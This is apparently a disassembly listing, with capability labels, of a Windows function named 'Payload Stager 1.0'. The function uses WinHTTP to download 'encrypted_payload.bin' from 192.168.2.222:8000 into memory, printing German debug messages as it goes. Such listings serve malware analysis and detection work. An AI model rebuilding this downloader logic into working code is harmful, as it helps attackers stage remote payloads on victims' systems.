Function at 0x140001450
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov qword [rbp + 0x20], rcx
lea rax, str.192.168.2.222
mov qword [rbp - 8], rax
lea rax, str._encrypted_payload.bin
mov qword [rbp - 0x10], rax
lea rax, str.Payload_Stager_1.0
mov qword [rbp - 0x18], rax
lea rax, str._DEBUG__Erstelle_HTTP_Sitzung..._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x1400014f6
lea rax, str._ERROR__Fehler_bei_der_Erstellung_der_HTTP_Sitzung._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov eax, 0
jmp 0x140001b21
lea rax, str._DEBUG__HTTP_Sitzung_erfolgreich_erstellt._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, str._DEBUG__Verbinde_mit_Server
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp - 8]
mov rdx, rax
call method.std::ostream.operator___void_const_
mov rcx, rax
lea rax, str._auf_Port_8000..._n
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x20]
mov r9d, 0
mov r8d, 0x1f40
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x1400015cf
lea rax, str._ERROR__Verbindung_zum_Server_fehlgeschlagen._Fehlercode:
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, [0x1400b5173]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov eax, 0
jmp 0x140001b21
lea rax, str._DEBUG__Verbindung_zum_Server_erfolgreich._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, str._DEBUG__Sende_HTTP_GET_Anfrage_an
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
call method.std::ostream.operator___void_const_
mov rcx, rax
lea rax, str...._n
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x28]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, [0x1400b51d0]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
jne 0x1400016d6
lea rax, str._ERROR__Fehler_beim_ffnen_der_HTTP_Anfrage._Fehlercode:
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, [0x1400b5173]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov eax, 0
jmp 0x140001b21
lea rax, str._DEBUG__Sende_HTTP_Anfrage..._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
mov dword [rbp - 0x34], eax
cmp dword [rbp - 0x34], 0
jne 0x1400017ad
lea rax, str._ERROR__Fehler_beim_Senden_der_HTTP_Anfrage._Fehlercode:
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, [0x1400b5173]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov eax, 0
jmp 0x140001b21
lea rax, str._DEBUG__HTTP_Anfrage_gesendet._Warte_auf_Antwort..._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x30]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
test eax, eax
sete al
test al, al
je 0x14000185f
lea rax, str._ERROR__Fehler_beim_Empfangen_der_HTTP_Antwort._Fehlercode:
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, [0x1400b5173]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov eax, 0
jmp 0x140001b21
lea rax, str._DEBUG__HTTP_Antwort_empfangen._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [rbp - 0x38], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
call rax
test eax, eax
sete al
test al, al
je 0x140001917
lea rax, str._ERROR__Fehler_beim_Abfragen_der_verfgbaren_Daten._Fehlercode:
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, [0x1400b5173]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov eax, 0
jmp 0x140001b21
lea rax, str._DEBUG__Daten_verfgbar:
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov eax, dword [rax]
mov edx, eax
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, str._Bytes._n
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp + 0x20]
mov eax, dword [rax]
mov eax, eax
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp - 0x40], rax
cmp qword [rbp - 0x40], 0
jne 0x1400019c0
lea rax, str._ERROR__Speicher_fr_Payload_konnte_nicht_reserviert_werden._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov eax, 0
jmp 0x140001b21
lea rax, str._DEBUG__Speicher_fr_Payload_erfolgreich_reserviert._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, str._DEBUG__Lese_die_Payload_Daten..._n
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [rbp - 0x44], 0
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax]
lea r8, [rbp - 0x44]
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp - 0x30]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReadData]
call rax
test eax, eax
sete al
test al, al
je 0x140001ab5
lea rax, str._ERROR__Fehler_beim_Lesen_der_Daten_vom_Server._Fehlercode:
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, [0x1400b5173]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
cmp qword [rbp - 0x40], 0
je 0x140001a7e
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sym.operator_delete___void_
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov eax, 0
jmp 0x140001b21
lea rax, str._DEBUG__Payload_Daten_erfolgreich_gelesen._Tatschlich_heruntergeladene_Gre:
mov rdx, rax
mov rax, qword [str.___v_]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 0x44]
mov edx, eax
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
lea rax, str._Bytes._n
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x40]
add rsp, 0x98
pop rbx
pop rbp
ret